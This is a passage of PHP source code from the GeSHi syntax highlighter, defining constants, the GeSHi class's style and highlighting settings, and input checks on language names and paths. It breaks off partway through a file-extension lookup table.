/** Strict mode never applies (this is the most common) */ define('GESHI_NEVER', 0); /** Strict mode *might* apply, and can be enabled or disabled by {@link GeSHi->enable_strict_mode()} */ define('GESHI_MAYBE', 1); /** Strict mode always applies */ define('GESHI_ALWAYS', 2); // Advanced regexp handling constants, used in language files /** The key of the regex array defining what to search for */ define('GESHI_SEARCH', 0); /** The key of the regex array defining what bracket group in a matched search to use as a replacement */ define('GESHI_REPLACE', 1); /** The key of the regex array defining any modifiers to the regular expression */ define('GESHI_MODIFIERS', 2); /** The key of the regex array defining what bracket group in a matched search to put before the replacement */ define('GESHI_BEFORE', 3); /** The key of the regex array defining what bracket group in a matched search to put after the replacement */ define('GESHI_AFTER', 4); /** The key of the regex array defining a custom keyword to use for this regexp's html tag class */ define('GESHI_CLASS', 5); /** Used in language files to mark comments */ define('GESHI_COMMENTS', 0); /** Used to work around missing PHP features **/ define('GESHI_PHP_PRE_433', !(version_compare(PHP_VERSION, '4.3.3') === 1)); /** make sure we can call stripos **/ if (!function_exists('stripos')) { // the offset param of preg_match is not supported below PHP 4.3.3 if (GESHI_PHP_PRE_433) { /** * @ignore */ function stripos($haystack, $needle, $offset = null) { if (!is_null($offset)) { $haystack = substr($haystack, $offset); } if (preg_match('/'. preg_quote($needle, '/') . '/', $haystack, $match, PREG_OFFSET_CAPTURE)) { return $match[0][1]; } return false; } } else { /** * @ignore */ function stripos($haystack, $needle, $offset = null) { if (preg_match('/'. preg_quote($needle, '/') . '/', $haystack, $match, PREG_OFFSET_CAPTURE, $offset)) { return $match[0][1]; } return false; } } } /** some old PHP / PCRE subpatterns only support up to xxx subpatterns in regular expressions. Set this to false if your PCRE lib is up to date @see GeSHi->optimize_regexp_list() **/ define('GESHI_MAX_PCRE_SUBPATTERNS', 500); /** it's also important not to generate too long regular expressions be generous here... but keep in mind, that when reaching this limit we still have to close open patterns. 12k should do just fine on a 16k limit. @see GeSHi->optimize_regexp_list() **/ define('GESHI_MAX_PCRE_LENGTH', 12288); //Number format specification /** Basic number format for integers */ define('GESHI_NUMBER_INT_BASIC', 1); //Default integers \d+ /** Enhanced number format for integers like seen in C */ define('GESHI_NUMBER_INT_CSTYLE', 2); //Default C-Style \d+[lL]? /** Number format to highlight binary numbers with a suffix "b" */ define('GESHI_NUMBER_BIN_SUFFIX', 16); //[01]+[bB] /** Number format to highlight binary numbers with a prefix % */ define('GESHI_NUMBER_BIN_PREFIX_PERCENT', 32); //%[01]+ /** Number format to highlight binary numbers with a prefix 0b (C) */ define('GESHI_NUMBER_BIN_PREFIX_0B', 64); //0b[01]+ /** Number format to highlight octal numbers with a leading zero */ define('GESHI_NUMBER_OCT_PREFIX', 256); //0[0-7]+ /** Number format to highlight octal numbers with a prefix 0o (logtalk) */ define('GESHI_NUMBER_OCT_PREFIX_0O', 512); //0[0-7]+ /** Number format to highlight octal numbers with a leading @ (Used in HiSofts Devpac series). */ define('GESHI_NUMBER_OCT_PREFIX_AT', 1024); //@[0-7]+ /** Number format to highlight octal numbers with a suffix of o */ define('GESHI_NUMBER_OCT_SUFFIX', 2048); //[0-7]+[oO] /** Number format to highlight hex numbers with a prefix 0x */ define('GESHI_NUMBER_HEX_PREFIX', 4096); //0x[0-9a-fA-F]+ /** Number format to highlight hex numbers with a prefix $ */ define('GESHI_NUMBER_HEX_PREFIX_DOLLAR', 8192); //$[0-9a-fA-F]+ /** Number format to highlight hex numbers with a suffix of h */ define('GESHI_NUMBER_HEX_SUFFIX', 16384); //[0-9][0-9a-fA-F]*h /** Number format to highlight floating-point numbers without support for scientific notation */ define('GESHI_NUMBER_FLT_NONSCI', 65536); //\d+\.\d+ /** Number format to highlight floating-point numbers without support for scientific notation */ define('GESHI_NUMBER_FLT_NONSCI_F', 131072); //\d+(\.\d+)?f /** Number format to highlight floating-point numbers with support for scientific notation (E) and optional leading zero */ define('GESHI_NUMBER_FLT_SCI_SHORT', 262144); //\.\d+e\d+ /** Number format to highlight floating-point numbers with support for scientific notation (E) and required leading digit */ define('GESHI_NUMBER_FLT_SCI_ZERO', 524288); //\d+(\.\d+)?e\d+ //Custom formats are passed by RX array // Error detection - use these to analyse faults /** No sourcecode to highlight was specified * @deprecated */ define('GESHI_ERROR_NO_INPUT', 1); /** The language specified does not exist */ define('GESHI_ERROR_NO_SUCH_LANG', 2); /** GeSHi could not open a file for reading (generally a language file) */ define('GESHI_ERROR_FILE_NOT_READABLE', 3); /** The header type passed to {@link GeSHi->set_header_type()} was invalid */ define('GESHI_ERROR_INVALID_HEADER_TYPE', 4); /** The line number type passed to {@link GeSHi->enable_line_numbers()} was invalid */ define('GESHI_ERROR_INVALID_LINE_NUMBER_TYPE', 5); /**#@-*/ /** * The GeSHi Class. * * Please refer to the documentation for GeSHi 1.0.X that is available * at http://qbnz.com/highlighter/documentation.php for more information * about how to use this class. * * @package geshi * @author Nigel McNie , Benny Baumann * @copyright (C) 2004 - 2007 Nigel McNie, (C) 2007 - 2008 Benny Baumann */ class GeSHi { /**#@+ * @access private */ /** * The source code to highlight * @var string */ var $source = ''; /** * The language to use when highlighting * @var string */ var $language = ''; /** * The data for the language used * @var array */ var $language_data = array(); /** * The path to the language files * @var string */ var $language_path = GESHI_LANG_ROOT; /** * The error message associated with an error * @var string * @todo check err reporting works */ var $error = false; /** * Possible error messages * @var array */ var $error_messages = array( GESHI_ERROR_NO_SUCH_LANG => 'GeSHi could not find the language {LANGUAGE} (using path {PATH})', GESHI_ERROR_FILE_NOT_READABLE => 'The file specified for load_from_file was not readable', GESHI_ERROR_INVALID_HEADER_TYPE => 'The header type specified is invalid', GESHI_ERROR_INVALID_LINE_NUMBER_TYPE => 'The line number type specified is invalid' ); /** * Whether highlighting is strict or not * @var boolean */ var $strict_mode = false; /** * Whether to use CSS classes in output * @var boolean */ var $use_classes = false; /** * The type of header to use. Can be one of the following * values: * * - GESHI_HEADER_PRE: Source is outputted in a "pre" HTML element. * - GESHI_HEADER_DIV: Source is outputted in a "div" HTML element. * - GESHI_HEADER_NONE: No header is outputted. * * @var int */ var $header_type = GESHI_HEADER_PRE; /** * Array of permissions for which lexics should be highlighted * @var array */ var $lexic_permissions = array( 'KEYWORDS' => array(), 'COMMENTS' => array('MULTI' => true), 'REGEXPS' => array(), 'ESCAPE_CHAR' => true, 'BRACKETS' => true, 'SYMBOLS' => false, 'STRINGS' => true, 'NUMBERS' => true, 'METHODS' => true, 'SCRIPT' => true ); /** * The time it took to parse the code * @var double */ var $time = 0; /** * The content of the header block * @var string */ var $header_content = ''; /** * The content of the footer block * @var string */ var $footer_content = ''; /** * The style of the header block * @var string */ var $header_content_style = ''; /** * The style of the footer block * @var string */ var $footer_content_style = ''; /** * Tells if a block around the highlighted source should be forced * if not using line numbering * @var boolean */ var $force_code_block = false; /** * The styles for hyperlinks in the code * @var array */ var $link_styles = array(); /** * Whether important blocks should be recognised or not * @var boolean * @deprecated * @todo REMOVE THIS FUNCTIONALITY! */ var $enable_important_blocks = false; /** * Styles for important parts of the code * @var string * @deprecated * @todo As above - rethink the whole idea of important blocks as it is buggy and * will be hard to implement in 1.2 */ var $important_styles = 'font-weight: bold; color: red;'; // Styles for important parts of the code /** * Whether CSS IDs should be added to the code * @var boolean */ var $add_ids = false; /** * Lines that should be highlighted extra * @var array */ var $highlight_extra_lines = array(); /** * Styles of lines that should be highlighted extra * @var array */ var $highlight_extra_lines_styles = array(); /** * Styles of extra-highlighted lines * @var string */ var $highlight_extra_lines_style = 'background-color: #ffc;'; /** * The line ending * If null, nl2br() will be used on the result string. * Otherwise, all instances of \n will be replaced with $line_ending * @var string */ var $line_ending = null; /** * Number at which line numbers should start at * @var int */ var $line_numbers_start = 1; /** * The overall style for this code block * @var string */ var $overall_style = 'font-family:monospace;'; /** * The style for the actual code * @var string */ var $code_style = 'font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;'; /** * The overall class for this code block * @var string */ var $overall_class = ''; /** * The overall ID for this code block * @var string */ var $overall_id = ''; /** * Line number styles * @var string */ var $line_style1 = 'font-weight: normal; vertical-align:top;'; /** * Line number styles for fancy lines * @var string */ var $line_style2 = 'font-weight: bold; vertical-align:top;'; /** * Style for line numbers when GESHI_HEADER_PRE_TABLE is chosen * @var string */ var $table_linenumber_style = 'width:1px;text-align:right;margin:0;padding:0 2px;vertical-align:top;'; /** * Flag for how line numbers are displayed * @var boolean */ var $line_numbers = GESHI_NO_LINE_NUMBERS; /** * Flag to decide if multi line spans are allowed. Set it to false to make sure * each tag is closed before and reopened after each linefeed. * @var boolean */ var $allow_multiline_span = true; /** * The "nth" value for fancy line highlighting * @var int */ var $line_nth_row = 0; /** * The size of tab stops * @var int */ var $tab_width = 8; /** * Should we use language-defined tab stop widths? * @var int */ var $use_language_tab_width = false; /** * Default target for keyword links * @var string */ var $link_target = ''; /** * The encoding to use for entity encoding * NOTE: Used with Escape Char Sequences to fix UTF-8 handling (cf. SF#2037598) * @var string */ var $encoding = 'utf-8'; /** * Should keywords be linked? * @var boolean */ var $keyword_links = true; /** * Currently loaded language file * @var string * @since 1.0.7.22 */ var $loaded_language = ''; /** * Wether the caches needed for parsing are built or not * * @var bool * @since 1.0.8 */ var $parse_cache_built = false; /** * Work around for Suhosin Patch with disabled /e modifier * * Note from suhosins author in config file: *
    * The /e modifier inside preg_replace() allows code execution. * Often it is the cause for remote code execution exploits. It is wise to * deactivate this feature and test where in the application it is used. * The developer using the /e modifier should be made aware that he should * use preg_replace_callback() instead *
    * * @var array * @since 1.0.8 */ var $_kw_replace_group = 0; var $_rx_key = 0; /** * some "callback parameters" for handle_multiline_regexps * * @since 1.0.8 * @access private * @var string */ var $_hmr_before = ''; var $_hmr_replace = ''; var $_hmr_after = ''; var $_hmr_key = 0; /**#@-*/ /** * Creates a new GeSHi object, with source and language * * @param string The source code to highlight * @param string The language to highlight the source with * @param string The path to the language file directory. This * is deprecated! I've backported the auto path * detection from the 1.1.X dev branch, so now it * should be automatically set correctly. If you have * renamed the language directory however, you will * still need to set the path using this parameter or * {@link GeSHi->set_language_path()} * @since 1.0.0 */ function GeSHi($source = '', $language = '', $path = '') { if (!empty($source)) { $this->set_source($source); } if (!empty($language)) { $this->set_language($language); } $this->set_language_path($path); } /** * Returns an error message associated with the last GeSHi operation, * or false if no error has occured * * @return string|false An error message if there has been an error, else false * @since 1.0.0 */ function error() { if ($this->error) { //Put some template variables for debugging here ... $debug_tpl_vars = array( '{LANGUAGE}' => $this->language, '{PATH}' => $this->language_path ); $msg = str_replace( array_keys($debug_tpl_vars), array_values($debug_tpl_vars), $this->error_messages[$this->error]); return "
    GeSHi Error: $msg (code {$this->error})
    "; } return false; } /** * Gets a human-readable language name (thanks to Simon Patterson * for the idea :)) * * @return string The name for the current language * @since 1.0.2 */ function get_language_name() { if (GESHI_ERROR_NO_SUCH_LANG == $this->error) { return $this->language_data['LANG_NAME'] . ' (Unknown Language)'; } return $this->language_data['LANG_NAME']; } /** * Sets the source code for this object * * @param string The source code to highlight * @since 1.0.0 */ function set_source($source) { $this->source = $source; $this->highlight_extra_lines = array(); } /** * Sets the language for this object * * @note since 1.0.8 this function won't reset language-settings by default anymore! * if you need this set $force_reset = true * * @param string The name of the language to use * @since 1.0.0 */ function set_language($language, $force_reset = false) { if ($force_reset) { $this->loaded_language = false; } //Clean up the language name to prevent malicious code injection $language = preg_replace('#[^a-zA-Z0-9\-_]#', '', $language); $language = strtolower($language); //Retreive the full filename $file_name = $this->language_path . $language . '.php'; if ($file_name == $this->loaded_language) { // this language is already loaded! return; } $this->language = $language; $this->error = false; $this->strict_mode = GESHI_NEVER; //Check if we can read the desired file if (!is_readable($file_name)) { $this->error = GESHI_ERROR_NO_SUCH_LANG; return; } // Load the language for parsing $this->load_language($file_name); } /** * Sets the path to the directory containing the language files. Note * that this path is relative to the directory of the script that included * geshi.php, NOT geshi.php itself. * * @param string The path to the language directory * @since 1.0.0 * @deprecated The path to the language files should now be automatically * detected, so this method should no longer be needed. The * 1.1.X branch handles manual setting of the path differently * so this method will disappear in 1.2.0. */ function set_language_path($path) { if(strpos($path, ':')) { //Security Fix to prevent external directories using fopen wrappers. if(DIRECTORY_SEPARATOR == "\\") { if(!preg_match('#^[a-zA-Z]:#', $path) || false !== strpos($path, ':', 2)) { return; } } else { return; } } if(preg_match('#[^/a-zA-Z0-9_\.\-\\\s:]#', $path)) { //Security Fix to prevent external directories using fopen wrappers. return; } if(GESHI_SECURITY_PARANOID && false !== strpos($path, '/.')) { //Security Fix to prevent external directories using fopen wrappers. return; } if(GESHI_SECURITY_PARANOID && false !== strpos($path, '..')) { //Security Fix to prevent external directories using fopen wrappers. return; } if ($path) { $this->language_path = ('/' == $path[strlen($path) - 1]) ? $path : $path . '/'; $this->set_language($this->language); // otherwise set_language_path has no effect } } /** * Get supported langs or an associative array lang=>full_name. * @param boolean $longnames * @return array */ function get_supported_languages($full_names=false) { // return array $back = array(); // we walk the lang root $dir = dir($this->language_path); // foreach entry while (false !== ($entry = $dir->read())) { $full_path = $this->language_path.$entry; // Skip all dirs if (is_dir($full_path)) { continue; } // we only want lang.php files if (!preg_match('/^([^.]+)\.php$/', $entry, $matches)) { continue; } // Raw lang name is here $langname = $matches[1]; // We want the fullname too? if ($full_names === true) { if (false !== ($fullname = $this->get_language_fullname($langname))) { $back[$langname] = $fullname; // we go associative } } else { // just store raw langname $back[] = $langname; } } $dir->close(); return $back; } /** * Get full_name for a lang or false. * @param string $language short langname (html4strict for example) * @return mixed */ function get_language_fullname($language) { //Clean up the language name to prevent malicious code injection $language = preg_replace('#[^a-zA-Z0-9\-_]#', '', $language); $language = strtolower($language); // get fullpath-filename for a langname $fullpath = $this->language_path.$language.'.php'; // we need to get contents :S if (false === ($data = file_get_contents($fullpath))) { $this->error = sprintf('Geshi::get_lang_fullname() Unknown Language: %s', $language); return false; } // match the langname if (!preg_match('/\'LANG_NAME\'\s*=>\s*\'((?:[^\']|\\\')+)\'/', $data, $matches)) { $this->error = sprintf('Geshi::get_lang_fullname(%s): Regex can not detect language', $language); return false; } // return fullname for langname return stripcslashes($matches[1]); } /** * Sets the type of header to be used. * * If GESHI_HEADER_DIV is used, the code is surrounded in a "div".This * means more source code but more control over tab width and line-wrapping. * GESHI_HEADER_PRE means that a "pre" is used - less source, but less * control. Default is GESHI_HEADER_PRE. * * From 1.0.7.2, you can use GESHI_HEADER_NONE to specify that no header code * should be outputted. * * @param int The type of header to be used * @since 1.0.0 */ function set_header_type($type) { //Check if we got a valid header type if (!in_array($type, array(GESHI_HEADER_NONE, GESHI_HEADER_DIV, GESHI_HEADER_PRE, GESHI_HEADER_PRE_VALID, GESHI_HEADER_PRE_TABLE))) { $this->error = GESHI_ERROR_INVALID_HEADER_TYPE; return; } //Set that new header type $this->header_type = $type; } /** * Sets the styles for the code that will be outputted * when this object is parsed. The style should be a * string of valid stylesheet declarations * * @param string The overall style for the outputted code block * @param boolean Whether to merge the styles with the current styles or not * @since 1.0.0 */ function set_overall_style($style, $preserve_defaults = false) { if (!$preserve_defaults) { $this->overall_style = $style; } else { $this->overall_style .= $style; } } /** * Sets the overall classname for this block of code. This * class can then be used in a stylesheet to style this object's * output * * @param string The class name to use for this block of code * @since 1.0.0 */ function set_overall_class($class) { $this->overall_class = $class; } /** * Sets the overall id for this block of code. This id can then * be used in a stylesheet to style this object's output * * @param string The ID to use for this block of code * @since 1.0.0 */ function set_overall_id($id) { $this->overall_id = $id; } /** * Sets whether CSS classes should be used to highlight the source. Default * is off, calling this method with no arguments will turn it on * * @param boolean Whether to turn classes on or not * @since 1.0.0 */ function enable_classes($flag = true) { $this->use_classes = ($flag) ? true : false; } /** * Sets the style for the actual code. This should be a string * containing valid stylesheet declarations. If $preserve_defaults is * true, then styles are merged with the default styles, with the * user defined styles having priority * * Note: Use this method to override any style changes you made to * the line numbers if you are using line numbers, else the line of * code will have the same style as the line number! Consult the * GeSHi documentation for more information about this. * * @param string The style to use for actual code * @param boolean Whether to merge the current styles with the new styles * @since 1.0.2 */ function set_code_style($style, $preserve_defaults = false) { if (!$preserve_defaults) { $this->code_style = $style; } else { $this->code_style .= $style; } } /** * Sets the styles for the line numbers. * * @param string The style for the line numbers that are "normal" * @param string|boolean If a string, this is the style of the line * numbers that are "fancy", otherwise if boolean then this * defines whether the normal styles should be merged with the * new normal styles or not * @param boolean If set, is the flag for whether to merge the "fancy" * styles with the current styles or not * @since 1.0.2 */ function set_line_style($style1, $style2 = '', $preserve_defaults = false) { //Check if we got 2 or three parameters if (is_bool($style2)) { $preserve_defaults = $style2; $style2 = ''; } //Actually set the new styles if (!$preserve_defaults) { $this->line_style1 = $style1; $this->line_style2 = $style2; } else { $this->line_style1 .= $style1; $this->line_style2 .= $style2; } } /** * Sets whether line numbers should be displayed. * * Valid values for the first parameter are: * * - GESHI_NO_LINE_NUMBERS: Line numbers will not be displayed * - GESHI_NORMAL_LINE_NUMBERS: Line numbers will be displayed * - GESHI_FANCY_LINE_NUMBERS: Fancy line numbers will be displayed * * For fancy line numbers, the second parameter is used to signal which lines * are to be fancy. For example, if the value of this parameter is 5 then every * 5th line will be fancy. * * @param int How line numbers should be displayed * @param int Defines which lines are fancy * @since 1.0.0 */ function enable_line_numbers($flag, $nth_row = 5) { if (GESHI_NO_LINE_NUMBERS != $flag && GESHI_NORMAL_LINE_NUMBERS != $flag && GESHI_FANCY_LINE_NUMBERS != $flag) { $this->error = GESHI_ERROR_INVALID_LINE_NUMBER_TYPE; } $this->line_numbers = $flag; $this->line_nth_row = $nth_row; } /** * Sets wether spans and other HTML markup generated by GeSHi can * span over multiple lines or not. Defaults to true to reduce overhead. * Set it to false if you want to manipulate the output or manually display * the code in an ordered list. * * @param boolean Wether multiline spans are allowed or not * @since 1.0.7.22 */ function enable_multiline_span($flag) { $this->allow_multiline_span = (bool) $flag; } /** * Get current setting for multiline spans, see GeSHi->enable_multiline_span(). * * @see enable_multiline_span * @return bool */ function get_multiline_span() { return $this->allow_multiline_span; } /** * Sets the style for a keyword group. If $preserve_defaults is * true, then styles are merged with the default styles, with the * user defined styles having priority * * @param int The key of the keyword group to change the styles of * @param string The style to make the keywords * @param boolean Whether to merge the new styles with the old or just * to overwrite them * @since 1.0.0 */ function set_keyword_group_style($key, $style, $preserve_defaults = false) { //Set the style for this keyword group if (!$preserve_defaults) { $this->language_data['STYLES']['KEYWORDS'][$key] = $style; } else { $this->language_data['STYLES']['KEYWORDS'][$key] .= $style; } //Update the lexic permissions if (!isset($this->lexic_permissions['KEYWORDS'][$key])) { $this->lexic_permissions['KEYWORDS'][$key] = true; } } /** * Turns highlighting on/off for a keyword group * * @param int The key of the keyword group to turn on or off * @param boolean Whether to turn highlighting for that group on or off * @since 1.0.0 */ function set_keyword_group_highlighting($key, $flag = true) { $this->lexic_permissions['KEYWORDS'][$key] = ($flag) ? true : false; } /** * Sets the styles for comment groups. If $preserve_defaults is * true, then styles are merged with the default styles, with the * user defined styles having priority * * @param int The key of the comment group to change the styles of * @param string The style to make the comments * @param boolean Whether to merge the new styles with the old or just * to overwrite them * @since 1.0.0 */ function set_comments_style($key, $style, $preserve_defaults = false) { if (!$preserve_defaults) { $this->language_data['STYLES']['COMMENTS'][$key] = $style; } else { $this->language_data['STYLES']['COMMENTS'][$key] .= $style; } } /** * Turns highlighting on/off for comment groups * * @param int The key of the comment group to turn on or off * @param boolean Whether to turn highlighting for that group on or off * @since 1.0.0 */ function set_comments_highlighting($key, $flag = true) { $this->lexic_permissions['COMMENTS'][$key] = ($flag) ? true : false; } /** * Sets the styles for escaped characters. If $preserve_defaults is * true, then styles are merged with the default styles, with the * user defined styles having priority * * @param string The style to make the escape characters * @param boolean Whether to merge the new styles with the old or just * to overwrite them * @since 1.0.0 */ function set_escape_characters_style($style, $preserve_defaults = false, $group = 0) { if (!$preserve_defaults) { $this->language_data['STYLES']['ESCAPE_CHAR'][$group] = $style; } else { $this->language_data['STYLES']['ESCAPE_CHAR'][$group] .= $style; } } /** * Turns highlighting on/off for escaped characters * * @param boolean Whether to turn highlighting for escape characters on or off * @since 1.0.0 */ function set_escape_characters_highlighting($flag = true) { $this->lexic_permissions['ESCAPE_CHAR'] = ($flag) ? true : false; } /** * Sets the styles for brackets. If $preserve_defaults is * true, then styles are merged with the default styles, with the * user defined styles having priority * * This method is DEPRECATED: use set_symbols_style instead. * This method will be removed in 1.2.X * * @param string The style to make the brackets * @param boolean Whether to merge the new styles with the old or just * to overwrite them * @since 1.0.0 * @deprecated In favour of set_symbols_style */ function set_brackets_style($style, $preserve_defaults = false) { if (!$preserve_defaults) { $this->language_data['STYLES']['BRACKETS'][0] = $style; } else { $this->language_data['STYLES']['BRACKETS'][0] .= $style; } } /** * Turns highlighting on/off for brackets * * This method is DEPRECATED: use set_symbols_highlighting instead. * This method will be remove in 1.2.X * * @param boolean Whether to turn highlighting for brackets on or off * @since 1.0.0 * @deprecated In favour of set_symbols_highlighting */ function set_brackets_highlighting($flag) { $this->lexic_permissions['BRACKETS'] = ($flag) ? true : false; } /** * Sets the styles for symbols. If $preserve_defaults is * true, then styles are merged with the default styles, with the * user defined styles having priority * * @param string The style to make the symbols * @param boolean Whether to merge the new styles with the old or just * to overwrite them * @param int Tells the group of symbols for which style should be set. * @since 1.0.1 */ function set_symbols_style($style, $preserve_defaults = false, $group = 0) { // Update the style of symbols if (!$preserve_defaults) { $this->language_data['STYLES']['SYMBOLS'][$group] = $style; } else { $this->language_data['STYLES']['SYMBOLS'][$group] .= $style; } // For backward compatibility if (0 == $group) { $this->set_brackets_style ($style, $preserve_defaults); } } /** * Turns highlighting on/off for symbols * * @param boolean Whether to turn highlighting for symbols on or off * @since 1.0.0 */ function set_symbols_highlighting($flag) { // Update lexic permissions for this symbol group $this->lexic_permissions['SYMBOLS'] = ($flag) ? true : false; // For backward compatibility $this->set_brackets_highlighting ($flag); } /** * Sets the styles for strings. If $preserve_defaults is * true, then styles are merged with the default styles, with the * user defined styles having priority * * @param string The style to make the escape characters * @param boolean Whether to merge the new styles with the old or just * to overwrite them * @param int Tells the group of strings for which style should be set. * @since 1.0.0 */ function set_strings_style($style, $preserve_defaults = false, $group = 0) { if (!$preserve_defaults) { $this->language_data['STYLES']['STRINGS'][$group] = $style; } else { $this->language_data['STYLES']['STRINGS'][$group] .= $style; } } /** * Turns highlighting on/off for strings * * @param boolean Whether to turn highlighting for strings on or off * @since 1.0.0 */ function set_strings_highlighting($flag) { $this->lexic_permissions['STRINGS'] = ($flag) ? true : false; } /** * Sets the styles for strict code blocks. If $preserve_defaults is * true, then styles are merged with the default styles, with the * user defined styles having priority * * @param string The style to make the script blocks * @param boolean Whether to merge the new styles with the old or just * to overwrite them * @param int Tells the group of script blocks for which style should be set. * @since 1.0.8.4 */ function set_script_style($style, $preserve_defaults = false, $group = 0) { // Update the style of symbols if (!$preserve_defaults) { $this->language_data['STYLES']['SCRIPT'][$group] = $style; } else { $this->language_data['STYLES']['SCRIPT'][$group] .= $style; } } /** * Sets the styles for numbers. If $preserve_defaults is * true, then styles are merged with the default styles, with the * user defined styles having priority * * @param string The style to make the numbers * @param boolean Whether to merge the new styles with the old or just * to overwrite them * @param int Tells the group of numbers for which style should be set. * @since 1.0.0 */ function set_numbers_style($style, $preserve_defaults = false, $group = 0) { if (!$preserve_defaults) { $this->language_data['STYLES']['NUMBERS'][$group] = $style; } else { $this->language_data['STYLES']['NUMBERS'][$group] .= $style; } } /** * Turns highlighting on/off for numbers * * @param boolean Whether to turn highlighting for numbers on or off * @since 1.0.0 */ function set_numbers_highlighting($flag) { $this->lexic_permissions['NUMBERS'] = ($flag) ? true : false; } /** * Sets the styles for methods. $key is a number that references the * appropriate "object splitter" - see the language file for the language * you are highlighting to get this number. If $preserve_defaults is * true, then styles are merged with the default styles, with the * user defined styles having priority * * @param int The key of the object splitter to change the styles of * @param string The style to make the methods * @param boolean Whether to merge the new styles with the old or just * to overwrite them * @since 1.0.0 */ function set_methods_style($key, $style, $preserve_defaults = false) { if (!$preserve_defaults) { $this->language_data['STYLES']['METHODS'][$key] = $style; } else { $this->language_data['STYLES']['METHODS'][$key] .= $style; } } /** * Turns highlighting on/off for methods * * @param boolean Whether to turn highlighting for methods on or off * @since 1.0.0 */ function set_methods_highlighting($flag) { $this->lexic_permissions['METHODS'] = ($flag) ? true : false; } /** * Sets the styles for regexps. If $preserve_defaults is * true, then styles are merged with the default styles, with the * user defined styles having priority * * @param string The style to make the regular expression matches * @param boolean Whether to merge the new styles with the old or just * to overwrite them * @since 1.0.0 */ function set_regexps_style($key, $style, $preserve_defaults = false) { if (!$preserve_defaults) { $this->language_data['STYLES']['REGEXPS'][$key] = $style; } else { $this->language_data['STYLES']['REGEXPS'][$key] .= $style; } } /** * Turns highlighting on/off for regexps * * @param int The key of the regular expression group to turn on or off * @param boolean Whether to turn highlighting for the regular expression group on or off * @since 1.0.0 */ function set_regexps_highlighting($key, $flag) { $this->lexic_permissions['REGEXPS'][$key] = ($flag) ? true : false; } /** * Sets whether a set of keywords are checked for in a case sensitive manner * * @param int The key of the keyword group to change the case sensitivity of * @param boolean Whether to check in a case sensitive manner or not * @since 1.0.0 */ function set_case_sensitivity($key, $case) { $this->language_data['CASE_SENSITIVE'][$key] = ($case) ? true : false; } /** * Sets the case that keywords should use when found. Use the constants: * * - GESHI_CAPS_NO_CHANGE: leave keywords as-is * - GESHI_CAPS_UPPER: convert all keywords to uppercase where found * - GESHI_CAPS_LOWER: convert all keywords to lowercase where found * * @param int A constant specifying what to do with matched keywords * @since 1.0.1 */ function set_case_keywords($case) { if (in_array($case, array( GESHI_CAPS_NO_CHANGE, GESHI_CAPS_UPPER, GESHI_CAPS_LOWER))) { $this->language_data['CASE_KEYWORDS'] = $case; } } /** * Sets how many spaces a tab is substituted for * * Widths below zero are ignored * * @param int The tab width * @since 1.0.0 */ function set_tab_width($width) { $this->tab_width = intval($width); //Check if it fit's the constraints: if ($this->tab_width < 1) { //Return it to the default $this->tab_width = 8; } } /** * Sets whether or not to use tab-stop width specifed by language * * @param boolean Whether to use language-specific tab-stop widths * @since 1.0.7.20 */ function set_use_language_tab_width($use) { $this->use_language_tab_width = (bool) $use; } /** * Returns the tab width to use, based on the current language and user * preference * * @return int Tab width * @since 1.0.7.20 */ function get_real_tab_width() { if (!$this->use_language_tab_width || !isset($this->language_data['TAB_WIDTH'])) { return $this->tab_width; } else { return $this->language_data['TAB_WIDTH']; } } /** * Enables/disables strict highlighting. Default is off, calling this * method without parameters will turn it on. See documentation * for more details on strict mode and where to use it. * * @param boolean Whether to enable strict mode or not * @since 1.0.0 */ function enable_strict_mode($mode = true) { if (GESHI_MAYBE == $this->language_data['STRICT_MODE_APPLIES']) { $this->strict_mode = ($mode) ? GESHI_ALWAYS : GESHI_NEVER; } } /** * Disables all highlighting * * @since 1.0.0 * @todo Rewrite with array traversal * @deprecated In favour of enable_highlighting */ function disable_highlighting() { $this->enable_highlighting(false); } /** * Enables all highlighting * * The optional flag parameter was added in version 1.0.7.21 and can be used * to enable (true) or disable (false) all highlighting. * * @since 1.0.0 * @param boolean A flag specifying whether to enable or disable all highlighting * @todo Rewrite with array traversal */ function enable_highlighting($flag = true) { $flag = $flag ? true : false; foreach ($this->lexic_permissions as $key => $value) { if (is_array($value)) { foreach ($value as $k => $v) { $this->lexic_permissions[$key][$k] = $flag; } } else { $this->lexic_permissions[$key] = $flag; } } // Context blocks $this->enable_important_blocks = $flag; } /** * Given a file extension, this method returns either a valid geshi language * name, or the empty string if it couldn't be found * * @param string The extension to get a language name for * @param array A lookup array to use instead of the default one * @since 1.0.5 * @todo Re-think about how this method works (maybe make it private and/or make it * a extension->lang lookup?) * @todo static? */ function get_language_name_from_extension( $extension, $lookup = array() ) { if ( !is_array($lookup) || empty($lookup)) { $lookup = array( '6502acme' => array( 'a', 's', 'asm', 'inc' ), '6502tasm' => array( 'a', 's', 'asm', 'inc' ), '6502kickass' => array( 'a', 's', 'asm', 'inc' ), '68000devpac' => array( 'a', 's', 'asm', 'inc' ), 'abap' => array('abap'), 'actionscript' => array('as'), 'ada' => array('a', 'ada', 'adb', 'ads'), 'apache' => array('conf'), 'asm' => array('ash', 'asm', 'inc'), 'asp' => array('asp'), 'bash' => array('sh'), 'bf' => array('bf'), 'c' => array('c', 'h'), 'c_mac' => array('c', 'h'), 'caddcl' => array(), 'cadlisp' => array(), 'cdfg' => array('cdfg'), 'cobol' => array('cbl'), 'cpp' => array('cpp', 'hpp', 'C', 'H', 'CPP', 'HPP'), 'csharp' => array('cs'), 'css' => array('css'), 'd' => array('d'), 'delphi' => array('dpk', 'dpr', 'pp', 'pas'), 'diff' => array('diff', 'patch'), 'dos' => array('bat', 'cmd'), 'gdb' => array('kcrash', 'crash', 'bt'), 'gettext' => array('po', 'pot'), 'gml' => array('gml'), 'gnuplot' => array('plt'), 'groovy' => array('groovy'), 'haskell' => array('hs'), 'html4strict' => array('html', 'htm'), 'ini' => array('ini', 'desktop'), 'java' => array('java'), 'javascript' => array('js'), 'klonec' => array('kl1'), 'klonecpp' => array('klx'), 'latex' => array('tex'), 'lisp' => array('lisp'), 'lua' => array('lua'), 'matlab' => array('m'), 'mpasm' => array(), 'mysql' => array('sql'), 'nsis' => array(), 'objc' => array(), 'oobas' => array(), 'oracle8' => array(), 'oracle10' => array(), 'pascal' => array('pas'), 'perl' => array('pl', 'pm'), 'php' => array('php', 'php5', 'phtml', 'phps'), 'povray' => array('pov'), 'providex' => array('pvc', 'pvx'), 'prolog' => array('pl'), 'python' => array('py'), 'qbasic' => array('bi'), 'reg' => array('reg'), 'ruby' => array('rb'), 'sas' => array('sas'), 'scala' => array('scala'), 'scheme' => array('scm'), 'scilab' => array('sci'), 'smalltalk' => array('st'), 'smarty' => array(), 